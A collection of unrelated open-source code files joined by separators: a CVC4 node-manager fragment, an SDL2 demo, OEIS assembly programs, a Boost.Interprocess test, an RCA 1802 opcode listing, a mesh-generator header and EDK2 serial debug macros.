Node sortTag = Node(constructor.d_nv->d_children[0]);
nb << sortTag;
nb.append(children);
TypeNode type = nb.constructTypeNode();
setAttribute(type, expr::VarNameAttr(), name);
for(std::vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyInstantiateSortConstructor(constructor, type, flags);
}
return type;
}
TypeNode NodeManager::mkSortConstructor(const std::string& name,
size_t arity) {
Assert(arity > 0);
NodeBuilder<> nb(this, kind::SORT_TYPE);
Node sortTag = NodeBuilder<0>(this, kind::SORT_TAG);
nb << sortTag;
TypeNode type = nb.constructTypeNode();
setAttribute(type, expr::VarNameAttr(), name);
setAttribute(type, expr::SortArityAttr(), arity);
for(std::vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyNewSortConstructor(type);
}
return type;
}
Node NodeManager::mkVar(const std::string& name, const TypeNode& type, uint32_t flags) {
Node n = NodeBuilder<0>(this, kind::VARIABLE);
setAttribute(n, TypeAttr(), type);
setAttribute(n, TypeCheckedAttr(), true);
setAttribute(n, expr::VarNameAttr(), name);
setAttribute(n, expr::GlobalVarAttr(), flags & ExprManager::VAR_FLAG_GLOBAL);
for(std::vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyNewVar(n, flags);
}
return n;
}
Node* NodeManager::mkVarPtr(const std::string& name,
const TypeNode& type, uint32_t flags) {
Node* n = NodeBuilder<0>(this, kind::VARIABLE).constructNodePtr();
setAttribute(*n, TypeAttr(), type);
setAttribute(*n, TypeCheckedAttr(), true);
setAttribute(*n, expr::VarNameAttr(), name);
setAttribute(*n, expr::GlobalVarAttr(), flags & ExprManager::VAR_FLAG_GLOBAL);
for(std::vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyNewVar(*n, flags);
}
return n;
}
Node NodeManager::mkBoundVar(const std::string& name, const TypeNode& type) {
Node n = mkBoundVar(type);
setAttribute(n, expr::VarNameAttr(), name);
return n;
}
Node* NodeManager::mkBoundVarPtr(const std::string& name,
const TypeNode& type) {
Node* n = mkBoundVarPtr(type);
setAttribute(*n, expr::VarNameAttr(), name);
return n;
}
Node NodeManager::mkVar(const TypeNode& type, uint32_t flags) {
Node n = NodeBuilder<0>(this, kind::VARIABLE);
setAttribute(n, TypeAttr(), type);
setAttribute(n, TypeCheckedAttr(), true);
setAttribute(n, expr::GlobalVarAttr(), flags & ExprManager::VAR_FLAG_GLOBAL);
for(std::vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyNewVar(n, flags);
}
return n;
}
Node* NodeManager::mkVarPtr(const TypeNode& type, uint32_t flags) {
Node* n = NodeBuilder<0>(this, kind::VARIABLE).constructNodePtr();
setAttribute(*n, TypeAttr(), type);
setAttribute(*n, TypeCheckedAttr(), true);
setAttribute(*n, expr::GlobalVarAttr(), flags & ExprManager::VAR_FLAG_GLOBAL);
for(std::vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyNewVar(*n, flags);
}
return n;
}
Node NodeManager::mkBoundVar(const TypeNode& type) {
Node n = NodeBuilder<0>(this, kind::BOUND_VARIABLE);
setAttribute(n, TypeAttr(), type);
setAttribute(n, TypeCheckedAttr(), true);
return n;
}
Node* NodeManager::mkBoundVarPtr(const TypeNode& type) {
Node* n = NodeBuilder<0>(this, kind::BOUND_VARIABLE).constructNodePtr();
setAttribute(*n, TypeAttr(), type);
setAttribute(*n, TypeCheckedAttr(), true);
return n;
}
Node NodeManager::mkInstConstant(const TypeNode& type) {
Node n = NodeBuilder<0>(this, kind::INST_CONSTANT);
n.setAttribute(TypeAttr(), type);
n.setAttribute(TypeCheckedAttr(), true);
return n;
}
Node NodeManager::mkAbstractValue(const TypeNode& type) {
Node n = mkConst(AbstractValue(++d_abstractValueCount));
n.setAttribute(TypeAttr(), type);
n.setAttribute(TypeCheckedAttr(), true);
return n;
}
bool NodeManager::safeToReclaimZombies() const{
// FIXME multithreading
return !d_inReclaimZombies && !d_attrManager->inGarbageCollection();
}
void NodeManager::deleteAttributes(const std::vector<const expr::attr::AttributeUniqueId*>& ids){
d_attrManager->deleteAttributes(ids);
}
void NodeManager::debugHook(int debugFlag){
// For debugging purposes only, DO NOT CHECK IN ANY CODE!
}
}/* CVC4 namespace */
|
#include <filesystem>
#include <string>
#include <fmt/core.h>
#include <spdlog/spdlog.h>
#include <SDL2/SDL.h>
#include <SDL2/SDL_ttf.h>
int main(int, char* argv[])
{
const std::string progname{std::filesystem::path{argv[0]}.filename().string()};
if (SDL_Init(SDL_INIT_VIDEO) < 0) {
spdlog::critical("unable to initialize SDL: {}", SDL_GetError());
return 1;
}
if (TTF_Init() < 0) {
spdlog::critical("unable to initialize SDL_ttf: {}", TTF_GetError());
return 1;
}
const auto fontMonospaced = TTF_OpenFont("assets/fonts/RobotoMono-Regular.ttf", 20);
if (!fontMonospaced) {
spdlog::critical(TTF_GetError());
return 1;
}
const auto fontProportional = TTF_OpenFont("assets/fonts/Roboto-Regular.ttf", 15);
if (!fontProportional) {
spdlog::critical(TTF_GetError());
return 1;
}
TTF_SetFontStyle(fontProportional, TTF_STYLE_ITALIC);
auto window = SDL_CreateWindow(progname.c_str(), SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, 640, 480, SDL_WINDOW_RESIZABLE);
if (!window) {
spdlog::critical("unable to create window: {}", SDL_GetError());
return 1;
}
auto renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED);
if (!renderer) {
spdlog::critical("unable to create renderer: {}", SDL_GetError());
return 1;
}
bool running = true;
auto previousFrameTime = SDL_GetTicks();
while (running) {
SDL_Event event;
while (SDL_PollEvent(&event)) {
if (event.type == SDL_QUIT)
running = false;
else if (event.type == SDL_KEYUP && event.key.keysym.sym == SDLK_ESCAPE)
running = false;
}
int width, height;
SDL_GetWindowSize(window, &width, &height);
const auto currentFrameTime = SDL_GetTicks();
const auto elapsedTime = currentFrameTime - previousFrameTime;
const auto fps = elapsedTime > 0 ? (1000.0f / static_cast<float>(elapsedTime)) : 1000.0f;
const auto title = fmt::format("{} {}x{} FPS: {:.0f}", progname, width, height, fps);
previousFrameTime = currentFrameTime;
SDL_SetWindowTitle(window, title.c_str());
const auto textSurface1 = TTF_RenderText_Blended(fontMonospaced, title.c_str(), {255, 255, 255});
if (!textSurface1)
spdlog::error("unable to render text: {}", TTF_GetError());
const auto textSurface2 = TTF_RenderText_Blended(fontProportional, "press ESC to quit", {255, 255, 255});
if (!textSurface2)
spdlog::error("unable to render text: {}", TTF_GetError());
const auto textTexture1 = SDL_CreateTextureFromSurface(renderer, textSurface1);
if (!textTexture1)
spdlog::error("unable to create texture from surface: {}", SDL_GetError());
const auto textTexture2 = SDL_CreateTextureFromSurface(renderer, textSurface2);
if (!textTexture2)
spdlog::error("unable to create texture from surface: {}", SDL_GetError());
SDL_RenderClear(renderer);
if (textTexture1 && textTexture2) {
int tw1, tw2, th1, th2;
SDL_QueryTexture(textTexture1, nullptr, nullptr, &tw1, &th1);
SDL_QueryTexture(textTexture2, nullptr, nullptr, &tw2, &th2);
SDL_Rect r1{20, 20, tw1, th1};
SDL_Rect r2{20, 50, tw2, th2};
SDL_RenderCopy(renderer, textTexture1, nullptr, &r1);
SDL_RenderCopy(renderer, textTexture2, nullptr, &r2);
SDL_DestroyTexture(textTexture1);
SDL_DestroyTexture(textTexture2);
SDL_FreeSurface(textSurface1);
SDL_FreeSurface(textSurface2);
}
SDL_RenderPresent(renderer);
}
SDL_DestroyRenderer(renderer);
SDL_DestroyWindow(window);
TTF_CloseFont(fontProportional);
TTF_CloseFont(fontMonospaced);
TTF_Quit();
SDL_Quit();
return 0;
}
|
; A059830: a(n) = n^6 + n^4 + n^2 + 1.
; 1,4,85,820,4369,16276,47989,120100,266305,538084,1010101,1786324,3006865,4855540,7568149,11441476,16843009,24221380,34117525,47176564,64160401,85961044,113614645,148316260,191435329,244531876,309373429,387952660,482505745,595531444,729810901,888428164,1074791425,1292654980,1546141909,1839767476,2178463249,2567601940,3013022965,3521058724,4098561601,4752931684,5492145205,6324783700,7260063889,8307868276,9478776469,10784097220,12235901185,13847054404,15631252501,17603055604,19777923985,22172254420,24803417269,27689794276,30850817089,34307006500,38080012405,42192654484,46668963601,51534223924,56815015765,62539259140,68736258049,75436745476,82672929109,90478537780,98888868625,107940834964,117673014901,128125700644,139340948545,151362629860,164236482229,178010161876,192733296529,208457539060,225236621845,243126411844,262184966401,282472589764,304051890325,326987838580,351347825809,377201723476,404621943349,433683498340,464464064065,497044041124,531506618101,567937835284,606426649105,647064997300,689947864789,735173350276,782842733569,833060543620,885934627285,941576218804,1000100010001,1061624221204,1126270672885,1194164858020,1265436015169,1340217202276,1418645371189,1500861442900,1587010383505,1677241280884,1771707422101,1870566371524,1973980049665,2082114812740,2195141532949,2313235679476,2436577400209,2565351604180,2699748044725,2839961403364,2986191374401,3138642750244,3297525507445,3463054893460,3635451514129,3814941421876,4001756204629,4196133075460,4398314962945,4608550602244,4827094626901,5054207661364,5290156414225,5535213772180,5789658894709,6053777309476,6327861008449,6612208544740,6907125130165,7212922733524,7529920179601,7858443248884,8198824778005,8551404760900,8916530450689,9294556462276,9685844875669,10090765340020,10509695178385,10943019493204,11391131272501,11854431496804,12333329246785,12828241811620,13339594798069,13867822240276,14413366710289,14976679429300,15558220379605,16158458417284,16777871385601,17416946229124,18076179108565,18756075516340,19457150392849,20179928243476,20924943256309,21692739420580,22483870645825,23298900881764,24138404238901,25002965109844,25893178291345,26809649107060,27752993531029,28723838311876,29722821097729,30750590561860,31807806529045,32895140102644,34013273792401,35162901642964,36344729363125,37559474455780,38807866348609,40090646525476,41408568658549,42762398741140,44152915221265,45580909135924,47047184246101,48552557172484,50097857531905,51683928074500,53311624821589,54981817204276,56695388202769,58453234486420,60256266554485,62105408877604,64001600040001,65945792882404,67938954645685,69982067115220,72076126765969,74222144908276,76421147834389,78674176965700,80982289000705,83346556063684,85768065854101,88247921796724,90787243192465,93387165369940,96048839837749,98773434437476,101562133497409,104416137986980,107336665671925,110324951270164,113382246608401,116509820779444,119708960300245,122980969270660,126327169532929,129748900831876,133247520975829,136824405998260,140480950320145,144218566913044,148038687462901,151942762534564,155932261737025,160008673889380,164173507187509,168428289371476,172774567893649,177213910087540,181747903337365,186378155248324,191106293817601,195933967606084,200862845910805,205894618938100,211030997977489,216273715576276,221624525714869,227085203982820,232657547755585,238343376372004
sub $2,$0
pow $2,2
mov $0,$2
add $0,1
mov $1,$2
mov $3,$2
pow $3,2
mul $0,$3
add $1,$0
div $1,3
mul $1,3
add $1,1
|
//////////////////////////////////////////////////////////////////////////////
//
// (C) Copyright Ion Gaztanaga 2004-2009. Distributed under the Boost
// Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
// See http://www.boost.org/libs/interprocess for documentation.
//
//////////////////////////////////////////////////////////////////////////////
#include <boost/interprocess/detail/config_begin.hpp>
#include <boost/interprocess/allocators/allocator.hpp>
#include <boost/interprocess/managed_shared_memory.hpp>
#include <boost/interprocess/containers/vector.hpp>
#include <boost/interprocess/containers/list.hpp>
#include <iostream>
#include <algorithm>
#include <functional>
#include "print_container.hpp"
#include <string>
#include "get_process_id_name.hpp"
struct InstanceCounter
{
InstanceCounter(){++counter;}
InstanceCounter(const InstanceCounter&){++counter;}
~InstanceCounter(){--counter;}
static std::size_t counter;
};
std::size_t InstanceCounter::counter = 0;
using namespace boost::interprocess;
int main ()
{
const int memsize = 16384;
const char *const shMemName = test::get_process_id_name();
try{
shared_memory_object::remove(shMemName);
//Named allocate capable shared mem allocator
managed_shared_memory segment(create_only, shMemName, memsize);
//STL compatible allocator object, uses allocate(), deallocate() functions
typedef allocator<InstanceCounter,
managed_shared_memory::segment_manager>
inst_allocator_t;
const inst_allocator_t myallocator (segment.get_segment_manager());
typedef vector<InstanceCounter, inst_allocator_t> MyVect;
//We'll provoke an exception, let's see if exception handling works
try{
//Fill vector until there is no more memory
MyVect myvec(myallocator);
int i;
for(i = 0; true; ++i){
myvec.push_back(InstanceCounter());
}
}
catch(boost::interprocess::bad_alloc &){
if(InstanceCounter::counter != 0)
return 1;
}
//We'll provoke an exception, let's see if exception handling works
try{
//Fill vector at the beginning until there is no more memory
MyVect myvec(myallocator);
int i;
InstanceCounter ic;
for(i = 0; true; ++i){
myvec.insert(myvec.begin(), i, ic);
}
}
catch(boost::interprocess::bad_alloc &){
if(InstanceCounter::counter != 0)
return 1;
}
catch(std::length_error &){
if(InstanceCounter::counter != 0)
return 1;
}
}
catch(...){
shared_memory_object::remove(shMemName);
throw;
}
shared_memory_object::remove(shMemName);
return 0;
}
#include <boost/interprocess/detail/config_end.hpp>
|
; A331801: Integers that are sum of two nonsquarefree numbers.
; 8,12,13,16,17,18,20,21,22,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85
mov $2,$0
mul $0,2
lpb $0
add $0,1
div $3,10
add $3,4
mov $4,$3
add $4,$3
add $3,$4
add $3,2
sub $0,$3
add $0,3
mov $1,$4
sub $1,1
add $0,$1
div $1,2
sub $3,2
mul $3,2
lpe
add $1,8
add $1,$2
|
; all 1802 opcodes
IDL ; 00 wait for interrupt or DMA
LDN R1 ; 01 D = M(R1)
LDN R2 ; 02 D = M(R2)
LDN R3 ; 03 D = M(R3)
LDN R4 ; 04 D = M(R4)
LDN R5 ; 05 D = M(R5)
LDN R6 ; 06 D = M(R6)
LDN R7 ; 07 D = M(R7)
LDN R8 ; 08 D = M(R8)
LDN R9 ; 09 D = M(R9)
LDN RA ; 0A D = M(RA)
LDN RB ; 0B D = M(RB)
LDN RC ; 0C D = M(RC)
LDN RD ; 0D D = M(RD)
LDN RE ; 0E D = M(RE)
LDN RF ; 0F D = M(RF)
INC R0 ; 10 R0 = R0 + 1
INC R1 ; 11 R1 = R1 + 1
INC R2 ; 12 R2 = R2 + 1
INC R3 ; 13 R3 = R3 + 1
INC R4 ; 14 R4 = R4 + 1
INC R5 ; 15 R5 = R5 + 1
INC R6 ; 16 R6 = R6 + 1
INC R7 ; 17 R7 = R7 + 1
INC R8 ; 18 R8 = R8 + 1
INC R9 ; 19 R9 = R9 + 1
INC RA ; 1A RA = RA + 1
INC RB ; 1B RB = RB + 1
INC RC ; 1C RC = RC + 1
INC RD ; 1D RD = RD + 1
INC RE ; 1E RE = RE + 1
INC RF ; 1F RF = RF + 1
DEC R0 ; 20 R0 = R0 - 1
DEC R1 ; 21 R1 = R1 - 1
DEC R2 ; 22 R2 = R2 - 1
DEC R3 ; 23 R3 = R3 - 1
DEC R4 ; 24 R4 = R4 - 1
DEC R5 ; 25 R5 = R5 - 1
DEC R6 ; 26 R6 = R6 - 1
DEC R7 ; 27 R7 = R7 - 1
DEC R8 ; 28 R8 = R8 - 1
DEC R9 ; 29 R9 = R9 - 1
DEC RA ; 2A RA = RA - 1
DEC RB ; 2B RB = RB - 1
DEC RC ; 2C RC = RC - 1
DEC RD ; 2D RD = RD - 1
DEC RE ; 2E RE = RE - 1
DEC RF ; 2F RF = RF - 1
BR .+1 ; 30 nn - branch always
BQ .+1 ; 31 nn - branch if Q=1
BZ .+1 ; 32 nn - branch if D=0
BDF .+1 ; 33 nn - branch if DF=1 (aka BPZ BGE)
B1 .+1 ; 34 nn - branch if EF1=1
B2 .+1 ; 35 nn - branch if EF2=1
B3 .+1 ; 36 nn - branch if EF3=1
B4 .+1 ; 37 nn - branch if EF4=1
SKP ; 38 RP = RP + 1 (skip next byte) (aka NBR nn)
BNQ .+1 ; 39 nn - branch if Q=0
BNZ .+1 ; 3A nn - branch if D!=0
BNF .+1 ; 3B nn - branch if DF=0 (aka BM BL)
BN1 .+1 ; 3C nn - branch if EF1=0
BN2 .+1 ; 3D nn - branch if EF2=0
BN3 .+1 ; 3E nn - branch if EF3=0
BN4 .+1 ; 3F nn - branch if EF4=0
LDA R0 ; 40 D = M(R0); R0 = R0 + 1
LDA R1 ; 41 D = M(R1); R1 = R1 + 1
LDA R2 ; 42 D = M(R2); R2 = R2 + 1
LDA R3 ; 43 D = M(R3); R3 = R3 + 1
LDA R4 ; 44 D = M(R4); R4 = R4 + 1
LDA R5 ; 45 D = M(R5); R5 = R5 + 1
LDA R6 ; 46 D = M(R6); R6 = R6 + 1
LDA R7 ; 47 D = M(R7); R7 = R7 + 1
LDA R8 ; 48 D = M(R8); R8 = R8 + 1
LDA R9 ; 49 D = M(R9); R9 = R9 + 1
LDA RA ; 4A D = M(RA); RA = RA + 1
LDA RB ; 4B D = M(RB); RB = RB + 1
LDA RC ; 4C D = M(RC); RC = RC + 1
LDA RD ; 4D D = M(RD); RD = RD + 1
LDA RE ; 4E D = M(RE); RE = RE + 1
LDA RF ; 4F D = M(RF); RF = RF + 1
STR R0 ; 50 M(R0) = D
STR R1 ; 51 M(R1) = D
STR R2 ; 52 M(R2) = D
STR R3 ; 53 M(R3) = D
STR R4 ; 54 M(R4) = D
STR R5 ; 55 M(R5) = D
STR R6 ; 56 M(R6) = D
STR R7 ; 57 M(R7) = D
STR R8 ; 58 M(R8) = D
STR R9 ; 59 M(R9) = D
STR RA ; 5A M(RA) = D
STR RB ; 5B M(RB) = D
STR RC ; 5C M(RC) = D
STR RD ; 5D M(RD) = D
STR RE ; 5E M(RE) = D
STR RF ; 5F M(RF) = D
IRX ; 60 X = X + 1
OUT 1 ; 61 bus = M(RX); RX = RX + 1
OUT 2 ; 62 bus = M(RX); RX = RX + 1
OUT 3 ; 63 bus = M(RX); RX = RX + 1
OUT 4 ; 64 bus = M(RX); RX = RX + 1
OUT 5 ; 65 bus = M(RX); RX = RX + 1
OUT 6 ; 66 bus = M(RX); RX = RX + 1
OUT 7 ; 67 bus = M(RX); RX = RX + 1
DB 68H ; 68 undefined opcode?
INP 1 ; 69 M(RX) = bus; D = bus
INP 2 ; 6A M(RX) = bus; D = bus
INP 3 ; 6B M(RX) = bus; D = bus
INP 4 ; 6C M(RX) = bus; D = bus
INP 5 ; 6D M(RX) = bus; D = bus
INP 6 ; 6E M(RX) = bus; D = bus
INP 7 ; 6F M(RX) = bus; D = bus
RET ; 70 X,P = M(RX); RX = RX + 1; IE = 1
DIS ; 71 X,P = M(RX); RX = RX + 1; IE = 0
LDXA ; 72 D = M(RX); RX = RX + 1
STXD ; 73 M(RX) = D; RX = RX - 1
ADC ; 74 DF,D = M(RX) + D + DF
SDB ; 75 DF,D = M(RX) - D - !DF
SHRC ; 76 D = D >> 1; DF = LSB(D); MSB(D) = DF (aka RSHR)
SMB ; 77 DF,D = D - M(RX) - !DF
SAV ; 78 M(RX) = T
MARK ; 79 T = X,P; M(R2) = X,P; X = P; R2 = R2 - 1
REQ ; 7A Q = 0
SEQ ; 7B Q = 1
ADCI 00H ; 7C nn D,DF = M(RP) + D + DF; RP = RP + 1
SDBI 00H ; 7D nn D,DF = M(RP) - D - !DF; RP = RP + 1
SHLC ; 7E D = D << 1; DF = MSB(D); LSB(D) = DF (aka RSHL)
SMBI 00H ; 7F nn DF,D = D - M(RP) - !DF; RP = RP + 1
GLO R0 ; 80 D = R0.lo
GLO R1 ; 81 D = R.lo
GLO R2 ; 82 D = R.lo
GLO R3 ; 83 D = R.lo
GLO R4 ; 84 D = R.lo
GLO R5 ; 85 D = R.lo
GLO R6 ; 86 D = R.lo
GLO R7 ; 87 D = R.lo
GLO R8 ; 88 D = R.lo
GLO R9 ; 89 D = R.lo
GLO RA ; 8A D = R.lo
GLO RB ; 8B D = R.lo
GLO RC ; 8C D = R.lo
GLO RD ; 8D D = R.lo
GLO RE ; 8E D = R.lo
GLO RF ; 8F D = R.lo
GHI R0 ; 90 D = R0.hi
GHI R1 ; 91 D = R.hi
GHI R2 ; 92 D = R.hi
GHI R3 ; 93 D = R.hi
GHI R4 ; 94 D = R.hi
GHI R5 ; 95 D = R.hi
GHI R6 ; 96 D = R.hi
GHI R7 ; 97 D = R.hi
GHI R8 ; 98 D = R.hi
GHI R9 ; 99 D = R.hi
GHI RA ; 9A D = R.hi
GHI RB ; 9B D = R.hi
GHI RC ; 9C D = R.hi
GHI RD ; 9D D = R.hi
GHI RE ; 9E D = R.hi
GHI RF ; 9F D = R.hi
PLO R0 ; A0 R0.lo = D
PLO R1 ; A1 R.lo = D
PLO R2 ; A2 R.lo = D
PLO R3 ; A3 R.lo = D
PLO R4 ; A4 R.lo = D
PLO R5 ; A5 R.lo = D
PLO R6 ; A6 R.lo = D
PLO R7 ; A7 R.lo = D
PLO R8 ; A8 R.lo = D
PLO R9 ; A9 R.lo = D
PLO RA ; AA R.lo = D
PLO RB ; AB R.lo = D
PLO RC ; AC R.lo = D
PLO RD ; AD R.lo = D
PLO RE ; AE R.lo = D
PLO RF ; AF R.lo = D
PHI R0 ; B0 R0.hi = D
PHI R1 ; B1 R.hi = D
PHI R2 ; B2 R.hi = D
PHI R3 ; B3 R.hi = D
PHI R4 ; B4 R.hi = D
PHI R5 ; B5 R.hi = D
PHI R6 ; B6 R.hi = D
PHI R7 ; B7 R.hi = D
PHI R8 ; B8 R.hi = D
PHI R9 ; B9 R.hi = D
PHI RA ; BA R.hi = D
PHI RB ; BB R.hi = D
PHI RC ; BC R.hi = D
PHI RD ; BD R.hi = D
PHI RE ; BE R.hi = D
PHI RF ; BF R.hi = D
LBR . ; C0 nnnn - long branch always
LBQ . ; C1 nnnn - long branch if Q=1
LBZ . ; C2 nnnn - long branch if D=0
LBDF . ; C3 nnnn - long branch if DF=1
NOP ; C4 no-operation
LSNQ ; C5 skip 2 bytes if Q=0
LSNZ ; C6 skip 2 bytes if D!=0
LSNF ; C7 skip 2 bytes if DF=0
LSKP ; C8 RP = RP + 2 (skip 2 bytes) (aka NLBR nnnn)
LBNQ . ; C9 nnnn - long branch if Q=0
LBNZ . ; CA nnnn - long branch if D!=0
LBNF . ; CB nnnn - long branch if DF=0
LSIE ; CC skip 2 bytes if IE=1
LSQ ; CD skip 2 bytes if Q=1
LSZ ; CE skip 2 bytes if D=0
LSDF ; CF skip 2 bytes if DF=1
SEP R0 ; D0 P = 0
SEP R1 ; D1 P = 1
SEP R2 ; D2 P = 2
SEP R3 ; D3 P = 3
SEP R4 ; D4 P = 4
SEP R5 ; D5 P = 5
SEP R6 ; D6 P = 6
SEP R7 ; D7 P = 7
SEP R8 ; D8 P = 8
SEP R9 ; D9 P = 9
SEP RA ; DA P = A
SEP RB ; DB P = B
SEP RC ; DC P = C
SEP RD ; DD P = D
SEP RE ; DE P = E
SEP RF ; DF P = F
SEX R0 ; E0 X = 0
SEX R1 ; E1 X = 1
SEX R2 ; E2 X = 2
SEX R3 ; E3 X = 3
SEX R4 ; E4 X = 4
SEX R5 ; E5 X = 5
SEX R6 ; E6 X = 6
SEX R7 ; E7 X = 7
SEX R8 ; E8 X = 8
SEX R9 ; E9 X = 9
SEX RA ; EA X = A
SEX RB ; EB X = B
SEX RC ; EC X = C
SEX RD ; ED X = D
SEX RE ; EE X = E
SEX RF ; EF X = F
LDX ; F0 D = M(RX)
OR ; F1 D = D | M(RX)
AND ; F2 D = D & M(RX)
XOR ; F3 D = D ^ M(RX)
ADD ; F4 DF,D = M(RX) + D
SD ; F5 DF,D = M(RX) - D
SHR ; F6 D = D >> 1; DF = LSB(D); MSB(D) = 0
SM ; F7 DF,D = D - M(RX)
LDI 00H ; F8 nn D = M(RP); RP = RP + 1
ORI 00H ; F9 nn D = D | M(RP); RP = RP + 1
ANI 00H ; FA nn D = D & M(RP); RP = RP + 1
XRI 00H ; FB nn D = D ^ M(RP); RP = RP + 1
ADI 00H ; FC nn DF,D = M(RP) + D; RP = RP + 1
SDI 00H ; FD nn DF,D = M(RP) - D; RP = RP + 1
SHL ; FE D = D >> 1; DF = MSB(D); LSB(D) = 0
SMI 00H ; FF nn DF,D = D - M(RP) - !DF; RP = RP + 1
; duplicate opcodes
NBR .+1 ; 38 nn - never branch
BPZ .+1 ; 33 nn - branch if positive or zero
BGE .+1 ; 33 nn - branch if greater-than or equal
BM .+1 ; 3B nn - branch if minus
BL .+1 ; 3B nn - branch if less-than
NLBR . ; C8 nnnn - never long branch
RSHR ; 76 ring shift right
RSHL ; 7E ring shift left
IF 0
; addressing modes
NOP ; C4 no operands
INC 0 ; 10 register without "R"
INC R0 ; 10 register
INC RF ; 1F register 15
INC R15 ; 1F register 15
LDI 00H ; F8 00 immediate
BR .+1 ; 30 nn short branch
LBR . ; C0 nnnn - long branch
OUT 7 ; 67 IN/OUT instruction
INC 16 ; bad
INC -1 ; bad
LDN R0 ; bad
OUT 0 ; bad
OUT 8 ; bad
; branch test
ORG 10FCH
BR .+2 ; good
BR .+2 ; bad
ORG 11FFH
BR .+2 ; good
ORG 12FEH
BR .+1 ; good
ORG 13FFH
BR . ; bad
ENDIF
|
#ifndef RENDERBOI__TOOLBOX__MESH_GENERATORS__CUBE_GENERATOR_HPP
#define RENDERBOI__TOOLBOX__MESH_GENERATORS__CUBE_GENERATOR_HPP
#include <glm/glm.hpp>
#include <renderboi/core/mesh.hpp>
#include "../interfaces/mesh_generator.hpp"
namespace Renderboi
{
/// @brief Generates vertices for a multi- or single-colored cube.
class CubeGenerator : public MeshGenerator
{
public:
/// @brief Default size the cube will have (radius of encompassing
/// sphere).
static constexpr float DefaultSize = 1.f;
/// @brief Struct packing together the parameters of the vertex
/// generation.
struct Parameters
{
/// @brief Size the cube will have (radius of encompassing sphere).
float size;
/// @brief RGB color of the generated vertices.
glm::vec3 color;
/// @brief Whether or not to use the provided color parameter. If
/// false, the cube will be multicolored.
bool useColor;
};
CubeGenerator();
/// @param size Size the cube will have (radius of encompassing sphere).
CubeGenerator(float size);
/// @param size Size the cube will have (radius of encompassing sphere).
/// @param color RGB color of the generated vertices.
CubeGenerator(float size, glm::vec3 color);
/// @param parameters Parameters of the vertex generation.
CubeGenerator(Parameters parameters);
/// @brief Parameters of the vertex generation.
Parameters parameters;
/////////////////////////////////////////////
/// ///
/// Methods overridden from MeshGenerator ///
/// ///
/////////////////////////////////////////////
/// @brief Generate the vertex data, put it in a new mesh object and
/// return it.
///
/// @return A pointer to the mesh containing the generated vertices.
MeshPtr generateMesh() const override;
};
}//namespace Renderboi
#endif//RENDERBOI__TOOLBOX__MESH_GENERATORS__CUBE_GENERATOR_HPP
|
;; @file
; Serial port debug support macros.
;
; Copyright (c) 2008 - 2016, Intel Corporation. All rights reserved.<BR>
;
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED
;
;;
;//---------------------------------------------
;// UART Register Offsets
;//---------------------------------------------
%define BAUD_LOW_OFFSET 0x00
%define BAUD_HIGH_OFFSET 0x01
%define IER_OFFSET 0x01
%define LCR_SHADOW_OFFSET 0x01
%define FCR_SHADOW_OFFSET 0x02
%define IR_CONTROL_OFFSET 0x02
%define FCR_OFFSET 0x02
%define EIR_OFFSET 0x02
%define BSR_OFFSET 0x03
%define LCR_OFFSET 0x03
%define MCR_OFFSET 0x04
%define LSR_OFFSET 0x05
%define MSR_OFFSET 0x06
;//---------------------------------------------
;// UART Register Bit Defines
;//---------------------------------------------
%define LSR_TXRDY 0x20
%define LSR_RXDA 0x01
%define DLAB 0x01
; UINT16 gComBase = 0x3f8;
; UINTN gBps = 115200;
; UINT8 gData = 8;
; UINT8 gStop = 1;
; UINT8 gParity = 0;
; UINT8 gBreakSet = 0;
%define DEFAULT_COM_BASE 0x3f8
%define DEFAULT_BPS 115200
%define DEFAULT_DATA 8
%define DEFAULT_STOP 1
%define DEFAULT_PARITY 0
%define DEFAULT_BREAK_SET 0
%define SERIAL_DEFAULT_LCR ( \
(DEFAULT_BREAK_SET << 6) | \
(DEFAULT_PARITY << 3) | \
(DEFAULT_STOP << 2) | \
(DEFAULT_DATA - 5) \
)
%define SERIAL_PORT_IO_BASE_ADDRESS DEFAULT_COM_BASE
%macro inFromSerialPort 1
mov dx, (SERIAL_PORT_IO_BASE_ADDRESS + %1)
in al, dx
%endmacro
%macro waitForSerialTxReady 0
%%waitingForTx:
inFromSerialPort LSR_OFFSET
test al, LSR_TXRDY
jz %%waitingForTx
%endmacro
%macro outToSerialPort 2
mov dx, (SERIAL_PORT_IO_BASE_ADDRESS + %1)
mov al, %2
out dx, al
%endmacro
%macro debugShowCharacter 1
waitForSerialTxReady
outToSerialPort 0, %1
%endmacro
%macro debugShowHexDigit 1
%if (%1 < 0xa)
debugShowCharacter BYTE ('0' + (%1))
%else
debugShowCharacter BYTE ('a' + ((%1) - 0xa))
%endif
%endmacro
%macro debugNewline 0
debugShowCharacter `\r`
debugShowCharacter `\n`
%endmacro
%macro debugShowPostCode 1
debugShowHexDigit (((%1) >> 4) & 0xf)
debugShowHexDigit ((%1) & 0xf)
debugNewline
%endmacro
|
;
; jquantf.asm - sample data conversion and quantization (SSE & SSE2)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
;
; Based on
; x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
